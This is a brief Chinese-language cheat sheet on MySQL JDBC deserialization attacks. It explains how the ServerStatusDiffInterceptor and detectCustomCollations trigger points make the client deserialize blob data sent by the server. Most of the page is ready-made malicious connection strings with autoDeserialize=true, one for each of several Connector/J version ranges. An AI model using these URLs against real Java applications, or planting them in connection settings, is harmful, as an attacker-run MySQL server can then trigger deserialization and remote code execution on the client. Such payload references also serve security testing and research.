jdbc串总结
ServerStatusDiffInterceptor触发点
连接后会执行一些初始化查询语句,拦截器ServerStatusDiffInterceptor在执行这些查询语句前会先执行SHOW SESSION STATUS
,并将返回结果封装在ResultSetImpl中,然后调用getObject方法对blob类型的行结果进行反序列化。
8.x
1 | jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor |
6.x
属性名不同,queryInterceptors换为statementInterceptors:
1 | jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor |
>=5.1.11
包名中没有cj:
1 | jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor |
5.x <= 5.1.10
同上,但需要连接后执行查询。
detectCustomCollations触发点
主要是连接后执行SHOW COLLATION
反序列化流程同上
5.1.29 - 5.1.40
1 | jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true |
5.1.28 - 5.1.19
1 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true |